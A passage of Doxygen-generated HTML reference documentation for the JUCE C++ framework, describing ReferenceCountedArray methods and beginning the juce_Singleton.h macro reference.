remove the object at a given index and return it, moving back all the subsequent objects to close the gap. If the index passed in is out-of-range, nothing will happen and a null pointer will be returned.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToRemove</td><td>the index of the element to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd" title="Removes an object from the array.">remove</a>, <a class="el" href="classReferenceCountedArray.html#a3413cc68e78418918d69bf7ae132c894" title="Removes the first occurrence of a specified object from the array.">removeObject</a>, <a class="el" href="classReferenceCountedArray.html#a9430ab8bb81848ef46507d2ed2eb40c2" title="Removes a range of objects from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="a3413cc68e78418918d69bf7ae132c894"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::removeObject </td> <td>(</td> <td class="paramtype">ObjectClass *const&#160;</td> <td class="paramname"><em>objectToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes the first occurrence of a specified object from the array. </p> <p>If the item isn't found, no action is taken. If it is found, it is removed and has its reference count decreased.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">objectToRemove</td><td>the object to try to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd" title="Removes an object from the array.">remove</a>, <a class="el" href="classReferenceCountedArray.html#a9430ab8bb81848ef46507d2ed2eb40c2" title="Removes a range of objects from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="a9430ab8bb81848ef46507d2ed2eb40c2"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::removeRange </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>startIndex</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>numberToRemove</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Removes a range of objects from the array. </p> <p>This will remove a set of objects, starting from the given index, and move any subsequent elements down to close the gap.</p> <p>If the range extends beyond the bounds of the array, it will be safely clipped to the size of the array.</p> <p>The objects that are removed will have their reference counts decreased, and may be deleted if not referenced from elsewhere.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">startIndex</td><td>the index of the first object to remove </td></tr> <tr><td class="paramname">numberToRemove</td><td>how many objects should be removed </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd" title="Removes an object from the array.">remove</a>, <a class="el" href="classReferenceCountedArray.html#a3413cc68e78418918d69bf7ae132c894" title="Removes the first occurrence of a specified object from the array.">removeObject</a> </dd></dl> </div> </div> <a class="anchor" id="a2f2ff002f4ca7a7062b449ade2b61307"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::removeLast </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>howManyToRemove</em> = <code>1</code></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes the last n objects from the array. </p> <p>The objects that are removed will have their reference counts decreased, and may be deleted if not referenced from elsewhere.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">howManyToRemove</td><td>how many objects to remove from the end of the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd" title="Removes an object from the array.">remove</a>, <a class="el" href="classReferenceCountedArray.html#a3413cc68e78418918d69bf7ae132c894" title="Removes the first occurrence of a specified object from the array.">removeObject</a>, <a class="el" href="classReferenceCountedArray.html#a9430ab8bb81848ef46507d2ed2eb40c2" title="Removes a range of objects from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="a53122fe07050eef2918538d0b4d90804"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::swap </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index1</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index2</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Swaps a pair of objects in the array. </p> <p>If either of the indexes passed in is out-of-range, nothing will happen, otherwise the two objects at these positions will be exchanged. </p> </div> </div> <a class="anchor" id="acd40cae01b2a34720491bf4cd462ad80"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::move </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>currentIndex</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>newIndex</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Moves one of the objects to a different position. </p> <p>This will move the object to a specified index, shuffling along any intervening elements as required.</p> <p>So for example, if you have the array { 0, 1, 2, 3, 4, 5 } then calling move (2, 4) would result in { 0, 1, 3, 4, 2, 5 }.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">currentIndex</td><td>the index of the object to be moved. If this isn't a valid index, then nothing will be done </td></tr> <tr><td class="paramname">newIndex</td><td>the index at which you'd like this object to end up. If this is less than zero, it will be moved to the end of the array </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a68a378da68f47a73e0cf3a9e3673f64a"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class OtherArrayType &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::swapWith </td> <td>(</td> <td class="paramtype">OtherArrayType &amp;&#160;</td> <td class="paramname"><em>otherArray</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This swaps the contents of this array with those of another array. </p> <p>If you need to exchange two arrays, this is vastly quicker than using copy-by-value because it just swaps their internal pointers. </p> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#ab9fd36e38317591da957d13be587aeba">ReferenceCountedArray&lt; SynthesiserSound &gt;::operator=()</a>.</p> </div> </div> <a class="anchor" id="a16715eb28fe22682d87c33b02a6ed882"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::operator== </td> <td>(</td> <td class="paramtype">const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Compares this array to another one. </p> <dl class="section return"><dt>Returns</dt><dd>true only if the other array contains the same objects in the same order </dd></dl> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a42ad63db85d37f3c649f21bf3b03a950">ReferenceCountedArray&lt; SynthesiserSound &gt;::operator!=()</a>.</p> </div> </div> <a class="anchor" id="a42ad63db85d37f3c649f21bf3b03a950"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::operator!= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Compares this array to another one. </p> <dl class="section see"><dt>See Also</dt><dd>operator== </dd></dl> </div> </div> <a class="anchor" id="a51248166d0e546e8f6ba9f831a835a7a"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class ElementComparator &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::sort </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const bool&#160;</td> <td class="paramname"><em>retainOrderOfEquivalentItems</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Sorts the elements in the array. </p> <p>This will use a comparator object to sort the elements into order. The object passed must have a method of the form: </p> <div class="fragment"><div class="line"><span class="keywordtype">int</span> compareElements (ElementType first, ElementType second);</div> </div><!-- fragment --><p>..and this method must return:</p> <ul> <li>a value of &lt; 0 if the first comes before the second</li> <li>a value of 0 if the two objects are equivalent</li> <li>a value of &gt; 0 if the second comes before the first</li> </ul> <p>To improve performance, the compareElements() method can be declared as static or const.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">comparator</td><td>the comparator to use for comparing elements. </td></tr> <tr><td class="paramname">retainOrderOfEquivalentItems</td><td>if this is true, then items which the comparator says are equivalent will be kept in the order in which they currently appear in the array. This is slower to perform, but may be important in some cases. If it's false, a faster algorithm is used, but equivalent elements may be rearranged.</td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd>sortArray </dd></dl> </div> </div> <a class="anchor" id="ad09860891de2b9faaa19e42b8007bca7"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::minimiseStorageOverheads </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Reduces the amount of storage being used by the array. </p> <p>Arrays typically allocate slightly more storage than they need, and after removing elements, they may have quite a lot of unused space allocated. This method will reduce the amount of allocated storage to a minimum. </p> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd">ReferenceCountedArray&lt; SynthesiserSound &gt;::remove()</a>, <a class="el" href="classReferenceCountedArray.html#a8fc0a717f91f4ff3b144f0224afdc5dd">ReferenceCountedArray&lt; SynthesiserSound &gt;::removeAndReturn()</a>, and <a class="el" href="classReferenceCountedArray.html#a9430ab8bb81848ef46507d2ed2eb40c2">ReferenceCountedArray&lt; SynthesiserSound &gt;::removeRange()</a>.</p> </div> </div> <a class="anchor" id="abf520344fa2d864f0f54809429a3bb3f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::ensureStorageAllocated </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>minNumElements</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Increases the array's internal storage to hold a minimum number of elements. </p> <p>Calling this before adding a large known number of elements means that the array won't have to keep dynamically resizing itself as the elements are added, and it'll therefore be more efficient. </p> </div> </div> <a class="anchor" id="aa1ee427821c41587e15391bf7edc2b60"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>&amp; <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getLock </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the <a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a> that locks this array. </p> <p>To lock, you can call <a class="el" href="classReferenceCountedArray.html#aa1ee427821c41587e15391bf7edc2b60" title="Returns the CriticalSection that locks this array.">getLock()</a>.enter() and <a class="el" href="classReferenceCountedArray.html#aa1ee427821c41587e15391bf7edc2b60" title="Returns the CriticalSection that locks this array.">getLock()</a>.exit(), or preferably use an object of ScopedLockType as an RAII lock for it. </p> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a69c7478303bfab74a3fa16ff93a334a8">ReferenceCountedArray&lt; SynthesiserSound &gt;::add()</a>, <a class="el" href="classReferenceCountedArray.html#a6e3aa5375dce143b69a467ad405c2867">ReferenceCountedArray&lt; SynthesiserSound &gt;::addArray()</a>, <a class="el" href="classReferenceCountedArray.html#a6bfe477012adf753bca5b32053d2ffbf">ReferenceCountedArray&lt; SynthesiserSound &gt;::addIfNotAlreadyThere()</a>, <a class="el" href="classReferenceCountedArray.html#ae4d087d8723db7a39fb876d419d9f960">ReferenceCountedArray&lt; SynthesiserSound &gt;::addOrReplaceSorted()</a>, <a class="el" href="classReferenceCountedArray.html#afb1a9958a818b6c410d79fc65b23432e">ReferenceCountedArray&lt; SynthesiserSound &gt;::addSorted()</a>, <a class="el" href="classReferenceCountedArray.html#a6dc6a1c3540a6f30456db545edb0486d">ReferenceCountedArray&lt; SynthesiserSound &gt;::clear()</a>, <a class="el" href="classReferenceCountedArray.html#ad5a34e648c3dfc01493ca92838835bd1">ReferenceCountedArray&lt; SynthesiserSound &gt;::clearQuick()</a>, <a class="el" href="classReferenceCountedArray.html#a5660a4dab2e9765784f1c5af73d7c303">ReferenceCountedArray&lt; SynthesiserSound &gt;::contains()</a>, <a class="el" href="classReferenceCountedArray.html#abf520344fa2d864f0f54809429a3bb3f">ReferenceCountedArray&lt; SynthesiserSound &gt;::ensureStorageAllocated()</a>, <a class="el" href="classReferenceCountedArray.html#ab352b571e4ee02eedad655bba6434725">ReferenceCountedArray&lt; SynthesiserSound &gt;::getFirst()</a>, <a class="el" href="classReferenceCountedArray.html#a906fbb190a57a893faa951949b93418b">ReferenceCountedArray&lt; SynthesiserSound &gt;::getLast()</a>, <a class="el" href="classReferenceCountedArray.html#ac9c63ba3ddc186c6e9fb0c3c97d1eb57">ReferenceCountedArray&lt; SynthesiserSound &gt;::getObjectPointer()</a>, <a class="el" href="classReferenceCountedArray.html#a8da693cf7dedfda5bb8a8e7331c4bf1f">ReferenceCountedArray&lt; SynthesiserSound &gt;::getObjectPointerUnchecked()</a>, <a class="el" href="classReferenceCountedArray.html#a034cad62a8ebb5854db4db2ff4afbf71">ReferenceCountedArray&lt; SynthesiserSound &gt;::indexOf()</a>, <a class="el" href="classReferenceCountedArray.html#aba887431a64561282cdbabafe27e70e8">ReferenceCountedArray&lt; SynthesiserSound &gt;::indexOfSorted()</a>, <a class="el" href="classReferenceCountedArray.html#af565f8dbd67b0e2adb9e85af2256e720">ReferenceCountedArray&lt; SynthesiserSound &gt;::insert()</a>, <a class="el" href="classReferenceCountedArray.html#ad09860891de2b9faaa19e42b8007bca7">ReferenceCountedArray&lt; SynthesiserSound &gt;::minimiseStorageOverheads()</a>, <a class="el" href="classReferenceCountedArray.html#acd40cae01b2a34720491bf4cd462ad80">ReferenceCountedArray&lt; SynthesiserSound &gt;::move()</a>, <a class="el" href="classReferenceCountedArray.html#a16715eb28fe22682d87c33b02a6ed882">ReferenceCountedArray&lt; SynthesiserSound &gt;::operator==()</a>, <a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd">ReferenceCountedArray&lt; SynthesiserSound &gt;::remove()</a>, <a class="el" href="classReferenceCountedArray.html#a8fc0a717f91f4ff3b144f0224afdc5dd">ReferenceCountedArray&lt; SynthesiserSound &gt;::removeAndReturn()</a>, <a class="el" href="classReferenceCountedArray.html#a2f2ff002f4ca7a7062b449ade2b61307">ReferenceCountedArray&lt; SynthesiserSound &gt;::removeLast()</a>, <a class="el" href="classReferenceCountedArray.html#a3413cc68e78418918d69bf7ae132c894">ReferenceCountedArray&lt; SynthesiserSound &gt;::removeObject()</a>, <a class="el" href="classReferenceCountedArray.html#a9430ab8bb81848ef46507d2ed2eb40c2">ReferenceCountedArray&lt; SynthesiserSound &gt;::removeRange()</a>, <a class="el" href="classReferenceCountedArray.html#ab091a80b766a24ba4915a10c1d71cd81">ReferenceCountedArray&lt; SynthesiserSound &gt;::set()</a>, <a class="el" href="classReferenceCountedArray.html#a51248166d0e546e8f6ba9f831a835a7a">ReferenceCountedArray&lt; SynthesiserSound &gt;::sort()</a>, <a class="el" href="classReferenceCountedArray.html#a53122fe07050eef2918538d0b4d90804">ReferenceCountedArray&lt; SynthesiserSound &gt;::swap()</a>, and <a class="el" href="classReferenceCountedArray.html#a68a378da68f47a73e0cf3a9e3673f64a">ReferenceCountedArray&lt; SynthesiserSound &gt;::swapWith()</a>.</p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__ReferenceCountedArray_8h.html">juce_ReferenceCountedArray.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['quaterniontype',['QuaternionType',['../classDraggable3DOrientation.html#a078d6c17248de2acffed6c3f60da419f',1,'Draggable3DOrientation']]] ]; <file_sep>var searchData= [ ['openglversion',['OpenGLVersion',['../classOpenGLContext.html#a3a6b8eeed7dbc7c7c649528252c07d02',1,'OpenGLContext']]], ['openness',['Openness',['../classTreeViewItem.html#aeb42402ed8e34ef5af931a762fd55bbd',1,'TreeViewItem']]], ['operatingsystemtype',['OperatingSystemType',['../classSystemStats.html#a7697c468b5f6c391096ab483690b68ea',1,'SystemStats']]], ['optionflags',['OptionFlags',['../classTemporaryFile.html#af04f4ef2ea1bee0b20cdb4c072442e8d',1,'TemporaryFile']]], ['orientation',['Orientation',['../classMidiKeyboardComponent.html#a6f6844672df93f8f631fa7e22cf0cdaf',1,'MidiKeyboardComponent::Orientation()'],['../classTabbedButtonBar.html#a63e34dd62f1b80ec99412c6115b39afb',1,'TabbedButtonBar::Orientation()']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: juce_Singleton.h File Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li class="current"><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="files.html"><span>File&#160;List</span></a></li> <li><a href="globals.html"><span>File&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="dir_aa1f3f1c3e8619c1228e6c765f4a0f79.html">juce</a></li><li class="navelem"><a class="el" href="dir_76ef348233cb42983cdac4f14ad655c5.html">modules</a></li><li class="navelem"><a class="el" href="dir_a7c579cf55b132919182327d8079c263.html">juce_core</a></li><li class="navelem"><a class="el" href="dir_df90811b038b3efb3194a6fa5b2f79e7.html">memory</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#define-members">Macros</a> </div> <div class="headertitle"> <div class="title">juce_Singleton.h File Reference</div> </div> </div><!--header--> <div class="contents"> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="define-members"></a> Macros</h2></td></tr> <tr class="memitem:ac46b66c5d38d6bd3a937af241d152a44"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="juce__Singleton_8h.html#ac46b66c5d38d6bd3a937af241d152a44">juce_DeclareSingleton</a>(classname, doNotRecreateAfterDeletion)</td></tr> <tr class="memdesc:ac46b66c5d38d6bd3a937af241d152a44"><td class="mdescLeft">&#160;</td><td class="mdescRight">Macro to declare member variables and methods for a singleton class. <a href="#ac46b66c5d38d6bd3a937af241d152a44"></a><br/></td></tr> <tr class="separator:ac46b66c5d38d6bd3a937af241d152a44"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a514301c5c269b87e3a3e3da3a6640f8f"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="juce__Singleton_8h.html#a514301c5c269b87e3a3e3da3a6640f8f">juce_ImplementSingleton</a>(classname)</td></tr> <tr class="memdesc:a514301c5c269b87e3a3e3da3a6640f8f"><td class="mdescLeft">&#160;</td><td class="mdescRight">This is a counterpart to the juce_DeclareSingleton macro. <a href="#a514301c5c269b87e3a3e3da3a6640f8f"></a><br/></td></tr> <tr class="separator:a514301c5c269b87e3a3e3da3a6640f8f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a253f51f3a9ac2b4795e2ce08b2a756d9"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="juce__Singleton_8h.html#a253f51f3a9ac2b4795e2ce08b2a756d9">juce_DeclareSingleton_SingleThreaded</a>(classname, doNotRecreateAfterDeletion)</td></tr> <tr class="memdesc:a253f51f3a9ac2b4795e2ce08b2a756d9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Macro to declare member variables and methods for a singleton class. <a href="#a253f51f3a9ac2b4795e2ce08b2a756d9"></a><br/></td></tr> <tr class="separator:a253f51f3a9ac2b4795e2ce08b2a756d9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a354e37d287b39d02097f4f74be14af51"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="juce__Singleton_8h.html#a354e37d287b39d02097f4f74be14af51">juce_DeclareSingleton_SingleThreaded_Minimal</a>(classname)</td></tr> <tr class="memdesc:a354e37d287b39d02097f4f74be14af51"><td class="mdescLeft">&#160;</td><td class="mdescRight">Macro to declare member variables and methods for a singleton class. <a 